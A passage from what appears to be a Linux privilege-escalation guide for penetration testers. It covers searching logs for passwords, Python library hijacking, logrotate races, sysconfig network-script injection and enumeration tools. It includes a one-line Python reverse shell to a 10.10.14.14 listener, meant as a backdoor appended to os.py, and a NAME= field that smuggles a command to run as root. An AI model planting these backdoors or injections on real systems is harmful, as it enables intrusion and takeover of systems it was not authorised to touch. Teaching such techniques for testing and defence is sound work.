   2153 If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\
   2154 Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).<sup>[[36]](#references)</sup>
   2155 
   2156 ```bash
   2157 aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
   2158 grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
   2159 ```
   2160 
   2161 In order to **read logs the group** [**adm**](../../user-information/interesting-groups-linux-pe/index.html#adm-group) will be really helpful.
   2162 
   2163 ### Shell files
   2164 
   2165 ```bash
   2166 ~/.bash_profile # if it exists, read it once when you log in to the shell
   2167 ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
   2168 ~/.profile # if it exists, read once if the two above don't exist
   2169 /etc/profile # only read if none of the above exists
   2170 ~/.bashrc # if it exists, read it every time you start a new shell
   2171 ~/.bash_logout # if it exists, read when the login shell exits
   2172 ~/.zlogin #zsh shell
   2173 ~/.zshrc #zsh shell
   2174 ```
   2175 
   2176 ### Generic Creds Search/Regex
   2177 
   2178 You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\
   2179 I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform.
   2180 
   2181 ## Writable files
   2182 
   2183 ### Python library hijacking
   2184 
   2185 If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).
   2186 
   2187 To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT):
   2188 
   2189 ```python
   2190 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
   2191 ```
   2192 
   2193 ### Logrotate exploitation
   2194 
   2195 A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
   2196 
   2197 > [!TIP]
   2198 > This vulnerability affects `logrotate` version `3.18.0` and older
   2199 
   2200 More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).<sup>[[37]](#references)</sup>
   2201 
   2202 You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
   2203 
   2204 This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
   2205 
   2206 ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
   2207 
   2208 **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f).<sup>[[20]](#references)</sup>
   2209 
   2210 If, for whatever reason, a user is able to **write** an `ifcf-<whatever>` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.<sup>[[20]](#references)</sup>
   2211 
   2212 Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
   2213 
   2214 In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
   2215 
   2216 For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
   2217 
   2218 ```bash
   2219 NAME=Network /bin/id
   2220 ONBOOT=yes
   2221 DEVICE=eth0
   2222 ```
   2223 
   2224 (_Note the blank space between Network and /bin/id_)
   2225 
   2226 ### **init, init.d, systemd, and rc.d**
   2227 
   2228 The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`.
   2229 
   2230 On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart.
   2231 
   2232 **systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process.<sup>[[21]](#references)</sup>
   2233 
   2234 ## Other Tricks
   2235 
   2236 ### NFS Privilege escalation
   2237 
   2238 
   2239 [Nfs No Root Squash Misconfiguration Pe](/hacktricks/linux-hardening/interesting-files-permissions/nfs-no-root-squash-misconfiguration-pe)
   2240 
   2241 ### Escaping from restricted Shells
   2242 
   2243 
   2244 [Escaping From Limited Bash](/hacktricks/linux-hardening/main-system-information/escaping-from-limited-bash)
   2245 
   2246 ### Cisco - vmanage
   2247 
   2248 
   2249 [Cisco Vmanage](/hacktricks/linux-hardening/network-information/cisco-vmanage)
   2250 
   2251 ## Android rooting frameworks: manager-channel abuse
   2252 
   2253 Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here:
   2254 
   2255 
   2256 [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](/hacktricks/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook)
   2257 
   2258 ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)
   2259 
   2260 Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path).<sup>[[27]](#references)</sup>
   2261 
   2262 Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:
   2263 
   2264 [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](/hacktricks/linux-hardening/main-system-information/kernel-lpe-cves/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244)
   2265 
   2266 ## Kernel Security Protections
   2267 
   2268 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
   2269 - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
   2270 
   2271 ## More help
   2272 
   2273 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
   2274 
   2275 ## Linux/Unix Privesc Tools
   2276 
   2277 ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
   2278 
   2279 **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
   2280 **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
   2281 **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
   2282 **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
   2283 **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
   2284 **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
   2285 **Mestaploit:** _**multi/recon/local_exploit_suggester**_\
   2286 **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
   2287 **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
   2288 **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
   2289 
   2290 ## References
   2291 
   2292 - [1] [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
   2293 - [2] [0xdf – HTB Era: forged .text_sig payload for cron-executed monitor](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
   2294 - [3] [0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)](https://0xdf.gitlab.io/holidayhack2025/act1/neighborhood-watch)
   2295 - [4] [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
   2296 - [5] [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
   2297 - [6] [Linux Privilege Escalation Guide](https://payatu.com/guide-linux-privilege-escalation/)
   2298 - [7] [Attack and Defend: Linux Privilege Escalation Techniques of 2016](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
   2299 - [8] [No one expect command execution!](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
   2300 - [9] [Sudo (LD_PRELOAD) (Linux Privilege Escalation)](https://touhidshaikh.com/blog/?p=827)
   2301 - [10] [lpeworkshop – Lab Exercises Walkthrough - Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
   2302 - [11] [frizb/Linux-Privilege-Escalation: Tips and Tricks for Linux Priv Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
   2303 - [12] [lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
   2304 - [13] [rtcrowley/linux-private-i: Linux Enumeration & Privilege Escalation tool](https://github.com/rtcrowley/linux-private-i)
   2305 - [14] [What is a Socket?](https://www.linux.com/news/what-socket/)
   2306 - [15] [Peppo (Proving Grounds) writeup](https://muzec0318.github.io/posts/PG/peppo.html)
   2307 - [16] [Get on the D-BUS](https://www.linuxjournal.com/article/7744)
   2308 - [17] [SUID Executables Linux Privilege Escalation](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
   2309 - [18] [Sudo Part-2 – Linux Privilege Escalation](https://juggernaut-sec.com/sudo-part-2-lpe)
   2310 - [19] [How to manage ACLs on Linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
   2311 - [20] [Redhat/CentOS root through network-scripts](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
   2312 - [21] [What is systemd?](https://www.linode.com/docs/guides/what-is-systemd/)
   2313 - [22] [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
   2314 - [23] [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV)
   2315 - [24] [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
   2316 - [25] [0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html)
   2317 - [26] [0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)](https://0xdf.gitlab.io/2026/02/12/htb-slonik.html)
   2318 - [27] [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
   2319 - [28] [Stratascale – CVE-2025-32463: Sudo Chroot Elevation of Privilege](https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/)
   2320 - [29] [Rich Mirch – CVE-2025-32462 and CVE-2025-32463 Sudo elevation-of-privilege vulnerabilities](https://blog.mirch.io/sudo-elevation-of-privilege-vulnerabilities/)
   2321 - [30] [0xdf – HTB: Browsed](https://0xdf.gitlab.io/2026/03/28/htb-browsed.html)
   2322 - [31] [PEP 3147 – PYC Repository Directories](https://peps.python.org/pep-3147/)
   2323 - [32] [Python importlib docs](https://docs.python.org/3/library/importlib.html)
   2324 - [33] [polkit/polkit issue #74](https://gitlab.freedesktop.org/polkit/polkit/issues/74)
   2325 - [34] [mirchr/security-research](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)
   2326 - [35] [Tweet by @paragonsec](https://twitter.com/paragonsec/status/1071152249529884674)
   2327 - [36] [redsiege.com - Logging Passwords On Linux](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux)
   2328 - [37] [tech.feedyourhead.at - Details Of A Logrotate Race Condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)